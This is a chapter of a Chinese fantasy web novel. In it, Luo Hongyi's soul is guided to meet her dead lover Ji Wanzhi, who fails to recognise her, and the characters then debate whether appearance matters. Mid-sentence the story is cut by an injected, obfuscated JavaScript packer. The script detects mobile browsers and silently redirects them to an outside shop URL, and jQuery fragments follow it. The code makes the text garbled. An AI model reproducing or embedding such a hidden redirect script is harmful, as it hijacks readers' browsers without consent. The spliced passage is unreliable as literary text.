“什么?你说她的心上人就是纪挽之?”顾棪木指着洛红衣离开的方向大声喊道。
白荨面无表情的点头,顾棪木又小心翼翼的询问了一句:“是我认识的那个纪挽之吗?”
白荨白了他一眼,给他一个:你说呢?的眼神。
顾棪木呆愣的站在院子里,直到一滴雨水落在他的眉间,他才回过神来。
又下雨了,顾棪木抬头看向天空中飘着的细弱的雨丝,他想起了洛红衣初来苍斋的那个晚上,那个满怀憧憬的想要和心上人在一起的祈愿。
顾棪木低着头喃喃道:“她的心上人原来是纪挽之,可纪挽之今天……”剩下的话顾棪木没能说出口。
画卿颜站在廊下,充满玩味的看向顾棪木,好心的替他接了下去,“可今天纪挽之就会死。”
顾棪木抬头瞪向画卿颜,画卿颜一下子跳到了柱子后,用扇子挡着脸叫道:“呀呀呀!小公子别这么瞪着奴家呀!这么俊俏的小公子这么瞪着我,我可是会怀疑你爱上我了哦。”
顾棪木立刻被她的话气的低下了头,白荨也冷冷的看了眼画卿颜,画卿颜立刻缩着脖子,回到了屋里。
顾棪木低着头看着青石板路上越积越多的小水洼,他气愤的一脚踢开,水花四溅。溅到了白荨白色的裙子上,看着水面上的倒影,顾棪木望向了替他打伞遮住风雨的白荨。
他抬起头,泛起水汽的桃花眼紧紧的盯着白荨的眼睛,他轻声问道:“白荨,能不能帮帮他们?”
白荨叹了一口气,对着顾棪木轻轻的摇了摇头。
因为这份感情,从始至终都是不对等的,纪挽之根本配不上洛红衣的一番深情。而纪挽之那天选择维护洛红衣,其实也只是从洛红衣身上看见了自己的影子,所以他为了这镜花水月的梦境搭上了性命是必然。他不信没了皮囊洛红衣还会喜欢他,若是洛红衣还顶着之前的那张脸,同样纪挽之也不会喜欢她,所以命运总是喜欢捉弄人,这一段缘分,从一开始就是错的。
雨,越下越大,大街上早就空无一人了,只剩洛红衣在大雨中狂奔。青石板路被雨水浇的铮亮也滑得很,她跑几步就趔趄一下,摔在地上她也不知道疼,迅速的爬起来就接着跑。
雨丝细细密密的,模糊了视线,裙摆也湿透了,贴在腿上,沉甸甸的往下坠,沉的她几乎迈不动步子。顾棪木的话还回荡在洛红衣的脑中,她现在只想快些跑回家,跑回家做什么她也不知道,她欺骗了纪挽之,纪挽之同样也欺骗了她。她不想分辨谁对谁错了,只想快些回家,越快越好。
在这样强烈的信念支撑下,洛红衣喘着粗气看到了自家的小院子,她此刻也顾不得什么了,“嘭”的一脚把门踢开,就看到了纪挽之仿佛睡着了般躺在床上。
屋里很暗,窗纸被雨水洇湿了,透进来的光是灰色的,灰的像在眼前蒙了一层纱,灰的像她此刻脑子里那片迷茫的雾。
纪挽之身上穿着昨天她亲手缝补好的灰色的旧袍子,即使那么破烂的衣服穿在他的身上仍是赏心悦目的。即使屋里昏暗暗的光,依旧遮不住纪挽之那出众的相貌,洛红衣突然很想问问,自己变成了现在这样,纪挽之还会爱她吗?
她站在门口,浑身的雨水往下淌。头发贴在脸上,一缕一缕的,雨水从发梢滴落下来,滴在门槛上。裙摆沉甸甸地坠着,坠得她两条腿像灌了铅。
她轻声喊道:“挽之。”
纪挽之仍旧是静静的躺在那里,没动。
洛红衣又不确定的喊了一声:“挽之?”
床上的人依旧没动。
洛红衣终于发现不对劲了,她扑到床上,看着一动不动面容安详的纪挽之,她颤抖着手将手指小心的探到了纪挽之的鼻翼下。
洛红衣跌倒在地,她不可置信的捧起纪挽之的脸——冰凉。比淋了一路雨的她还要凉。
洛红衣趴在纪挽之的怀里撕心裂肺的哭了起来。
她还没有让纪挽之看到真实的自己,她也没有告诉纪挽之,她不在乎,她什么都不在乎,只要他是纪挽之就可以。
但一切都晚了。
天,黑了;雨,还在下。
洛红衣倚靠在床边,室内昏暗,她也没有点灯,就如行尸走肉般坐在地上,守着纪挽之已经凉到发硬的身躯。
突然,她像是想到了什么,眼里迸发出了几乎将人烧穿了的光。
她朝青柳巷飞奔而去,这是她第三次踏进这里。
铺子的主人仿佛是知道有客人要来,时至深夜,并没有关门,同样院子里也散发着暖黄色的光。
洛红衣深吸了一口气,刚走到大堂里举起手刚准备敲门,门便开了。
白荨坐在太师椅上,正在温这一壶茶,炉子里烧着炭火,暖融融的,炉上坐着一把白瓷壶,壶嘴里正冒着白气。
洛红衣站在门口,一面温暖如春,一面冷如寒冬。
她浑身都湿透了,雨顺着衣摆往下淌,淌到了门槛上,流进了门里。
白荨从匣子里拿出了一套崭新的白瓷杯,将一杯温热的茶倒好,放到了对面,她朝洛红衣歪了歪头,示意她坐到对面的椅子上。
炉火烧的暖融融的,室内茶香隐隐,洛红衣站在那里,浑身的雨水往下淌,在干净的地板上汇成了一道小溪流,头发贴在脸上,一缕一缕的,狼狈不堪。
白荨将茶递给她,那杯茶下肚后,洛红衣觉得自己仿佛又“活”了过来,温热的茶水替她驱散了身体上的湿寒。
洛红衣刚想开口,就对上了白荨清亮的眸子,那一刻洛红衣才明白过来,原来这个雾里开花的老板早就知道了。
知道她为何而来,所以才在这深更半夜等着她。
洛红衣跪在地上,像是抓住了最后一根救命稻草一般,双眼猩红的看着白荨。
白荨站起身子,回头淡淡的扫了洛红衣一眼,深吸了一口气叹道:“跟我来吧。”
说着,便带洛红衣来到了内室。
那是白荨的屋子,素雅简单,就像她这个人一样,陈设寥寥却件件古朴,不动声色地透着主人的遗世独立。
白荨将匣子里的引魂香燃起,袅袅的香气很快就弥漫在了一整个屋子里。
白荨又吩咐百草去取一截嫩柳枝,和一盆雨水。
很快,百草就将东西准备齐全了。
“镜花水月”顾名思义“水中月,镜中花”,引魂师可借过水面看到自己想要看到的,亦可观之前世今生。
白荨看着洛红衣,平静的叙述道:“纪挽之已死,命数已定,我复活不了他。”
“但是……”白荨顿道,洛红衣立马抬头,希冀的望着白荨,“我可以趁黑白无常没将纪挽之的魂魄勾走之前,让你们再见一面。”
洛红衣感激的望向白荨。
“一会儿我会用引魂香将你的魂魄引出体外,找不找得到纪挽之就看你自己了。”
洛红衣用力的点头,闻着充斥在鼻尖的香气,慢慢的闭上了眼睛。
闭上眼的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321354|199076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一刻,洛红衣很想,很想让纪挽之看看自己真实的样子,真实的洛红衣到底是什么样子的。
白荨将柳枝往铜盆里一甩,柳枝的浮动在平静的水面上惊起了涟漪,随着水面的晃动,水中的倒影也逐渐的变换了起来。
四只脑袋一齐凑向了盆中的倒影,分别是,白荨,百草,画卿颜和顾棪木。
街道上人影变换,鬼魂浮动,洛红衣在街上走了一趟又一趟,都没有找到纪挽之的身影。
白荨看着水中的画面不禁皱起了眉,反观画卿颜却笑的很开心。
“可叹相逢相见不相识呀!”画卿颜调侃道。
白荨的表情越发浓重了,顾棪木看着这两人一直在擦肩而过,也急的直挠头。
白荨向水里传音道:“这才是纪挽之真实的样子。”
洛红衣正在为找不到纪挽之而急的满头大汗,听见突如其来的声音,洛红衣抬起头向天上看去,只见天上缓缓展开了一幅画卷。看到画像上的那人,洛红衣瞬间惊住了,自己方才明明与他数次擦肩而过。
如此洛红衣也顾不得什么了,她一个健步冲到了纪挽之身前,抓住了纪挽之的胳膊,死死的盯着纪挽之的眼睛,充满希望的问道:“你认识我吗?”
纪挽之一把甩开了洛红衣的胳膊,颇为嫌弃的用衣摆擦了擦手。
洛红衣跌倒在地,她抬头望向纪挽之的眼眶里盛满了泪水,她哽咽的喊道:“挽之,我是红衣呀!”
纪挽之居高临下的看着她,听见她的话毫不留情的“啐”了她一口,怒道:“你个丑八怪休想冒充我的娘子,我娘子貌若天仙,是你这个小乞丐能碰瓷的吗?”
“可这就是我真实的样子呀!你不是说了我就算变老变丑你也会爱我的吗?你说过的话你难道都忘了吗?”洛红衣不可置信的大声喊道。
纪挽之立刻反驳道:“你胡说,你这个丑八怪怎么可能是我娘子,我娘子对我一心一意,还说了无论我变成什么模样都能认出我,刚刚你在这条街走了十多回,怎么没认出我?”
纪挽之的话在洛红衣的耳边震耳欲聋,见状,白荨连忙将洛红衣的魂魄招了回来,结束了这场闹剧。
洛红衣睁开眼睛后,在嘴角扯出了一抹苦笑,她对着白荨鞠了一躬后,便一步一顿的离开了。
顾棪木看着她的状态还想出去追,却被白荨拉住了,白荨冲他轻轻的摇了摇头。
白荨这才看向这场闹剧的“始作俑者”她用凉飕飕的眼神瞥了一眼画卿颜,画卿颜立刻缩起了脖子,嚷嚷道:“小十一,你别这么看我呀!我害怕。”
白荨冷冷的说道:“好玩吗?”
画卿颜立刻笑嘻嘻的蹦到白荨身边,道:“好玩呀!你们都说皮囊不重要,既然皮囊不重要,为什么纪挽之对你一见倾心,散尽家财也要求一副好皮囊,到最后为了不被洛红衣发现甚至丢了命,如果不重要洛红衣怎会对纪挽之一见钟情,如果不重要,他们灵魂相见怎会不识?可见长了一副好皮囊是一件多么重要的事。”
白荨虽气愤,却也不置可否。
这时,顾棪木蹦出来道:“我不认同。”
“哦?”画卿颜眼波流转的看向顾棪木。
顾棪木吞了吞口水道:“若有一天白荨的脸毁了,不!就算她化成灰了,小爷儿我都认识她。”
白荨带着疑问探究的目光上下巡视着他,不确定的开口道:“当真?”
顾棪木信誓旦旦的拍着胸脯保证:“当真!”